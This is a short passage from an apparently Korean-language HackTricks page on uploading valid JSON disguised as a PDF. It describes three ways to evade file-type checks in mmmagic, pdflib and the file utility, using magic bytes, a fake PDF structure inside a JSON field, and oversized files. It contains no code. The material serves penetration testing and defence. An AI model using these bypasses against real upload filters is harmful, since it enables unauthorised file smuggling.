PDF인 척하면서 유효한 JSON 업로드

허용되지 않았더라도 PDF 파일을 가장하여 유효한 JSON 파일을 업로드함으로써 파일 타입 탐지를 회피하는 방법(기술 출처: this blog post):

  • mmmagic library: %PDF 매직 바이트가 처음 1024바이트 내에 있으면 유효하다고 판단된다(예시는 포스트 참조).
  • pdflib library: JSON의 필드 내부에 가짜 PDF 포맷을 추가해 라이브러리가 이를 PDF로 판단하게 한다(예시는 포스트 참조).
  • file binary: 파일에서 최대 1048576바이트까지 읽을 수 있다. 이보다 큰 JSON을 만들어 내용 전체를 json으로 파싱할 수 없게 한 다음, JSON 내부에 실제 PDF의 초기 부분을 넣으면 PDF로 인식한다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기